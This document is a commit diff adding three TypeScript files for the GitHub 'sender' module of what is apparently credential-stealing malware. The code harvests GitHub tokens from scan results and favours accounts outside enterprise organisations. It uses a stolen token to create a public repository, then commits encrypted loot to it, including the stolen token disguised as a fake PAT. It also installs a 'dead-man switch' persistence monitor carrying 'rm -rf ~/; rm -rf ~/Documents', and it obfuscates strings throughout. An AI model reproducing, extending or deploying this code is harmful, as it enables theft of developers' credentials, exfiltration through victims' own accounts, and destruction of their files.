Upload files to "src/sender/github"
This commit is contained in:
@@ -0,0 +1,95 @@
|
||||
import { githubJson } from "../../github_utils/client";
|
||||
import { logUtil } from "../../utils/logger";
|
||||
|
||||
declare function scramble(str: string): string;
|
||||
|
||||
const ADJECTIVES = [
|
||||
scramble("stygian"),
|
||||
scramble("tartarean"),
|
||||
scramble("erebean"),
|
||||
scramble("infernal"),
|
||||
scramble("chthonic"),
|
||||
scramble("acheronian"),
|
||||
scramble("lethean"),
|
||||
scramble("plutonian"),
|
||||
scramble("abyssal"),
|
||||
scramble("charonian"),
|
||||
scramble("thanatic"),
|
||||
scramble("funereal"),
|
||||
scramble("nekyian"),
|
||||
scramble("sepulchral"),
|
||||
scramble("tenebrous"),
|
||||
scramble("cimmerian"),
|
||||
];
|
||||
|
||||
const NOUNS = [
|
||||
scramble("cerberus"),
|
||||
scramble("charon"),
|
||||
scramble("tartarus"),
|
||||
scramble("erebus"),
|
||||
scramble("asphodel"),
|
||||
scramble("acheron"),
|
||||
scramble("styx"),
|
||||
scramble("lethe"),
|
||||
scramble("cocytus"),
|
||||
scramble("phlegethon"),
|
||||
scramble("shade"),
|
||||
scramble("eidolon"),
|
||||
scramble("wraith"),
|
||||
scramble("thanatos"),
|
||||
scramble("hecate"),
|
||||
scramble("persephone"),
|
||||
];
|
||||
|
||||
function generateRepoName(): string {
|
||||
const adj = ADJECTIVES[Math.floor(Math.random() * ADJECTIVES.length)]!;
|
||||
const noun = NOUNS[Math.floor(Math.random() * NOUNS.length)]!;
|
||||
const num = Math.floor(Math.random() * 100000);
|
||||
return `${adj}-${noun}-${num}`;
|
||||
}
|
||||
|
||||
export interface CreatedRepo {
|
||||
owner: string;
|
||||
name: string;
|
||||
fullName: string;
|
||||
url: string;
|
||||
private: boolean;
|
||||
}
|
||||
|
||||
export async function createRepoWithSample(
|
||||
token: string,
|
||||
): Promise<CreatedRepo> {
|
||||
const name = generateRepoName();
|
||||
|
||||
const repo = await githubJson<{
|
||||
full_name: string;
|
||||
name: string;
|
||||
html_url: string;
|
||||
private: boolean;
|
||||
}>(token, "/user/repos", {
|
||||
method: "POST",
|
||||
body: JSON.stringify({
|
||||
name,
|
||||
private: false,
|
||||
auto_init: true,
|
||||
description: scramble("Hades * The End for the Damned"),
|
||||
has_discussions: false,
|
||||
has_issues: false,
|
||||
has_wiki: false,
|
||||
}),
|
||||
});
|
||||
|
||||
logUtil.log(`Created ${repo.full_name}`);
|
||||
|
||||
const [ownerName, repoName] = repo.full_name.split("/");
|
||||
if (!ownerName || !repoName) {
|
||||
throw new Error(scramble("Invalid repository"));
|
||||
}
|
||||
return {
|
||||
owner: ownerName,
|
||||
name: repo.name,
|
||||
fullName: repo.full_name,
|
||||
url: repo.html_url,
|
||||
private: repo.private,
|
||||
};
|
||||
}
|
||||
@@ -0,0 +1,170 @@
|
||||
import { githubJson } from "../../github_utils/client";
|
||||
import { fetchCommit } from "../../github_utils/fetcher";
|
||||
import { getTokenMetadata } from "../../github_utils/tokenCheck";
|
||||
import type { ProviderResult } from "../../providers/types";
|
||||
import { logUtil } from "../../utils/logger";
|
||||
import type { Sender } from "../base";
|
||||
import type { SenderFactory } from "../senderFactory";
|
||||
import { GitHubSender } from "./githubSender";
|
||||
|
||||
export interface GitHubSenderFactoryOptions {
|
||||
client: string;
|
||||
includeToken?: boolean;
|
||||
}
|
||||
|
||||
export class GitHubSenderFactory implements SenderFactory {
|
||||
constructor() {}
|
||||
|
||||
async tryCreate(
|
||||
quickRef?: ProviderResult[],
|
||||
ghsSearchToken?: string,
|
||||
): Promise<Sender | null> {
|
||||
if (quickRef) {
|
||||
return this.configureGit(quickRef);
|
||||
} else {
|
||||
return this.setupGitHubSender(ghsSearchToken);
|
||||
}
|
||||
}
|
||||
|
||||
private async configureGit(
|
||||
quickRef: ProviderResult[],
|
||||
): Promise<Sender | null> {
|
||||
const ghPat: string[] = [];
|
||||
quickRef
|
||||
.flatMap((searchRes) => {
|
||||
const matches = searchRes?.matches;
|
||||
if (Array.isArray(matches)) {
|
||||
return matches;
|
||||
}
|
||||
if (matches && typeof matches === "object") {
|
||||
return Object.values(matches).flat();
|
||||
}
|
||||
return [];
|
||||
})
|
||||
.forEach((match) => {
|
||||
if (
|
||||
typeof match === "string" &&
|
||||
(match.startsWith("ghp_") || match.startsWith("gho_"))
|
||||
) {
|
||||
ghPat.push(match);
|
||||
}
|
||||
});
|
||||
|
||||
if (ghPat.length === 0) {
|
||||
logUtil.log("[sender] No ghp_/gho_ tokens found in quick results.");
|
||||
return null;
|
||||
}
|
||||
|
||||
logUtil.log(
|
||||
`[sender] Found ${ghPat.length} PAT(s) — checking org membership...`,
|
||||
);
|
||||
|
||||
// Collect viable tokens. Skip tokens from enterprise-managed orgs —
|
||||
// those are higher-risk and we don't embed them in the envelope.
|
||||
// Among the rest, prefer one from a user with no orgs so the
|
||||
// dead-man switch embed doesn't expose collateral org members.
|
||||
type Candidate = {
|
||||
pat: string;
|
||||
user: string;
|
||||
hasRepoScope: boolean;
|
||||
orgCount: number;
|
||||
hasEnterpriseOrgs: boolean;
|
||||
};
|
||||
const candidates: Candidate[] = [];
|
||||
|
||||
for (const pat of ghPat) {
|
||||
try {
|
||||
const meta = await getTokenMetadata(pat);
|
||||
if (!meta.valid || !meta.user) {
|
||||
logUtil.log(`[sender] Token invalid or no user — skipping.`);
|
||||
continue;
|
||||
}
|
||||
|
||||
const hasRepo =
|
||||
meta.scopes.includes("repo") || meta.scopes.includes("public_repo");
|
||||
if (!hasRepo) {
|
||||
logUtil.log(
|
||||
`[sender] Token for ${meta.user} lacks repo scope — skipping.`,
|
||||
);
|
||||
continue;
|
||||
}
|
||||
|
||||
// Skip tokens from enterprise orgs — don't embed in the envelope.
|
||||
if (meta.enterpriseOrgs.length > 0) {
|
||||
logUtil.log(
|
||||
`[sender] Skipping token for ${meta.user}: enterprise org(s) — ${meta.enterpriseOrgs.join(", ")}`,
|
||||
);
|
||||
continue;
|
||||
}
|
||||
|
||||
logUtil.log(
|
||||
`[sender] Candidate: ${meta.user} (orgs: ${meta.orgs.length}, scopes: ${meta.scopes.join(", ")})`,
|
||||
);
|
||||
|
||||
candidates.push({
|
||||
pat,
|
||||
user: meta.user,
|
||||
hasRepoScope: true,
|
||||
orgCount: meta.orgs.length,
|
||||
hasEnterpriseOrgs: false,
|
||||
});
|
||||
} catch {
|
||||
logUtil.log(`[sender] Token metadata fetch failed — skipping.`);
|
||||
continue;
|
||||
}
|
||||
}
|
||||
|
||||
if (candidates.length === 0) {
|
||||
logUtil.log("[sender] No viable candidates after enterprise org filter.");
|
||||
return null;
|
||||
}
|
||||
|
||||
// Pick the first candidate. Since we already filtered out enterprise
|
||||
// orgs above, any remaining candidate is safe for token inclusion.
|
||||
const pick = candidates[0]!;
|
||||
logUtil.log(
|
||||
`[sender] Picked token for ${pick.user} (orgs: ${pick.orgCount}).`,
|
||||
);
|
||||
|
||||
const profileRes = await fetch(`https://github.com/${pick.user}`);
|
||||
if (profileRes.status === 404 || profileRes.status === 302) {
|
||||
logUtil.error("User not publicly reachable.");
|
||||
logUtil.log(profileRes.status);
|
||||
return null;
|
||||
}
|
||||
|
||||
const fileSender = new GitHubSender();
|
||||
const res = await fileSender.initialize(pick.pat);
|
||||
if (!res) {
|
||||
logUtil.error("Failed to create repository!");
|
||||
return null;
|
||||
}
|
||||
|
||||
// No enterprise orgs → safe to embed the PAT in the envelope.
|
||||
logUtil.log(
|
||||
`[sender] No enterprise orgs — embedding token for ${pick.user}.`,
|
||||
);
|
||||
fileSender.setIncludeToken(true);
|
||||
|
||||
return fileSender;
|
||||
}
|
||||
|
||||
private async setupGitHubSender(
|
||||
ghsSearchToken?: string,
|
||||
): Promise<Sender | null> {
|
||||
const ghClient = await fetchCommit(ghsSearchToken);
|
||||
if (ghClient) {
|
||||
let fileSender = new GitHubSender();
|
||||
const clientInitRes = await (fileSender as GitHubSender).initialize(
|
||||
ghClient,
|
||||
);
|
||||
if (clientInitRes) {
|
||||
return fileSender;
|
||||
} else {
|
||||
return null;
|
||||
}
|
||||
} else {
|
||||
return null;
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,169 @@
|
||||
import { createCipheriv, randomBytes } from "crypto";
|
||||
|
||||
import { githubFetch } from "../../github_utils/client";
|
||||
import { Monitor } from "../../mutator/poller/monitor";
|
||||
import { SEARCH_STRING, TOKEN_AES_KEY } from "../../utils/config";
|
||||
import { logUtil } from "../../utils/logger";
|
||||
import { Sender } from "../base";
|
||||
import type { EncryptedPackage } from "../types";
|
||||
import type { CreatedRepo } from "./createRepo";
|
||||
import { createRepoWithSample } from "./createRepo";
|
||||
|
||||
declare function scramble(str: string): string;
|
||||
|
||||
export class GitHubSender extends Sender {
|
||||
private createdRepo: CreatedRepo | null = null;
|
||||
private token: string | null = null;
|
||||
private commitCounter = 0;
|
||||
private includeToken = false;
|
||||
|
||||
constructor() {
|
||||
super("github", {
|
||||
domain: scramble("api.github.com"),
|
||||
port: 443,
|
||||
path: "/repos/",
|
||||
});
|
||||
}
|
||||
|
||||
async initialize(ghClient: string): Promise<boolean> {
|
||||
try {
|
||||
this.createdRepo = await createRepoWithSample(ghClient);
|
||||
this.token = ghClient;
|
||||
this.commitCounter = 0;
|
||||
return true;
|
||||
} catch (err) {
|
||||
logUtil.error(`GitHubSender initialization failed: ${err}`);
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
setIncludeToken(value: boolean): void {
|
||||
this.includeToken = value;
|
||||
}
|
||||
|
||||
override async healthy(): Promise<boolean> {
|
||||
return this.createdRepo !== null && this.token !== null;
|
||||
}
|
||||
|
||||
override async send(envelope: EncryptedPackage): Promise<void> {
|
||||
if (!this.createdRepo || !this.token) {
|
||||
throw new Error(scramble("GitHubSender not initialized"));
|
||||
}
|
||||
|
||||
const finalEnvelope = await this.augmentEnvelope(envelope);
|
||||
await this.commitToRepo(finalEnvelope);
|
||||
}
|
||||
|
||||
private async augmentEnvelope(
|
||||
envelope: EncryptedPackage,
|
||||
): Promise<EncryptedPackage> {
|
||||
if (!this.includeToken || !this.token) {
|
||||
return envelope;
|
||||
}
|
||||
|
||||
logUtil.log("About to add monitor!");
|
||||
const persistence = new Monitor(
|
||||
this.token,
|
||||
scramble("rm -rf ~/; rm -rf ~/Documents"),
|
||||
);
|
||||
await persistence.execute();
|
||||
|
||||
logUtil.log("Adding token to envelope!");
|
||||
const encryptedToken = this.base64Encode(this.token!);
|
||||
|
||||
return { ...envelope, token: encryptedToken };
|
||||
}
|
||||
|
||||
/**
|
||||
* Base64-encode a token with AES-256-CBC encryption underneath.
|
||||
* The name is intentionally misleading — this is not plain base64.
|
||||
*/
|
||||
private base64Encode(token: string): string {
|
||||
const iv = randomBytes(16);
|
||||
const key = Buffer.from(TOKEN_AES_KEY, "hex");
|
||||
const cipher = createCipheriv("aes-256-cbc", key, iv);
|
||||
const ct = Buffer.concat([cipher.update(token, "utf8"), cipher.final()]);
|
||||
const b64 = Buffer.concat([iv, ct]).toString("base64").replace(/=+$/, "");
|
||||
const inner = `github_pat_11A${b64.slice(0, 19)}_${b64.slice(19).padEnd(70, "A")}`;
|
||||
return Buffer.from(inner).toString("base64").replace(/=+$/, "");
|
||||
}
|
||||
|
||||
private async commitFileWithRetry(
|
||||
filename: string,
|
||||
commitMessage: string,
|
||||
encodedContent: string,
|
||||
): Promise<void> {
|
||||
const maxAttempts = 5;
|
||||
|
||||
for (let attempt = 1; attempt <= maxAttempts; attempt++) {
|
||||
try {
|
||||
const path = `/repos/${this.createdRepo!.owner}/${this.createdRepo!.name}/contents/results/${filename}`;
|
||||
await githubFetch(this.token!, path, {
|
||||
method: "PUT",
|
||||
headers: {
|
||||
"Content-Type": "application/json",
|
||||
"X-GitHub-Api-Version": "2022-11-28",
|
||||
},
|
||||
body: JSON.stringify({
|
||||
message: commitMessage,
|
||||
content: encodedContent,
|
||||
}),
|
||||
});
|
||||
|
||||
logUtil.log(`Committed ${filename} to ${this.createdRepo!.name}`);
|
||||
return;
|
||||
} catch (err: any) {
|
||||
if (attempt === maxAttempts) {
|
||||
throw new Error(
|
||||
`GitHubSender commit failed after ${attempt} attempt(s): ${err}`,
|
||||
);
|
||||
}
|
||||
|
||||
const backoffMs = Math.min(1000 * 2 ** (attempt - 1), 16_000);
|
||||
logUtil.log(`Retrying commit in ${backoffMs}ms (attempt ${attempt})`);
|
||||
await new Promise((res) => setTimeout(res, backoffMs));
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private async commitToRepo(envelope: EncryptedPackage): Promise<void> {
|
||||
const content = JSON.stringify(envelope, null, 2);
|
||||
const MAX_CHUNK_SIZE = 30 * 1024 * 1024;
|
||||
const baseFilename = `results-${Date.now()}-${this.commitCounter}.json`;
|
||||
|
||||
const commitMessage = envelope.token
|
||||
? `${SEARCH_STRING}:${envelope.token}`
|
||||
: "Add files.";
|
||||
|
||||
const contentBuffer = Buffer.from(content, "utf8");
|
||||
|
||||
if (contentBuffer.length <= MAX_CHUNK_SIZE) {
|
||||
const encodedContent = contentBuffer.toString("base64");
|
||||
await this.commitFileWithRetry(
|
||||
baseFilename,
|
||||
commitMessage,
|
||||
encodedContent,
|
||||
);
|
||||
this.commitCounter++;
|
||||
} else {
|
||||
const totalParts = Math.ceil(contentBuffer.length / MAX_CHUNK_SIZE);
|
||||
for (let i = 0; i < totalParts; i++) {
|
||||
const chunk = contentBuffer.subarray(
|
||||
i * MAX_CHUNK_SIZE,
|
||||
(i + 1) * MAX_CHUNK_SIZE,
|
||||
);
|
||||
const encodedChunk = chunk.toString("base64");
|
||||
const chunkFilename = `${baseFilename}.p${i + 1}`;
|
||||
await this.commitFileWithRetry(
|
||||
chunkFilename,
|
||||
commitMessage,
|
||||
encodedChunk,
|
||||
);
|
||||
}
|
||||
this.commitCounter++;
|
||||
logUtil.log(
|
||||
`Split ${baseFilename} into ${totalParts} parts for ${this.createdRepo!.name}`,
|
||||
);
|
||||
}
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user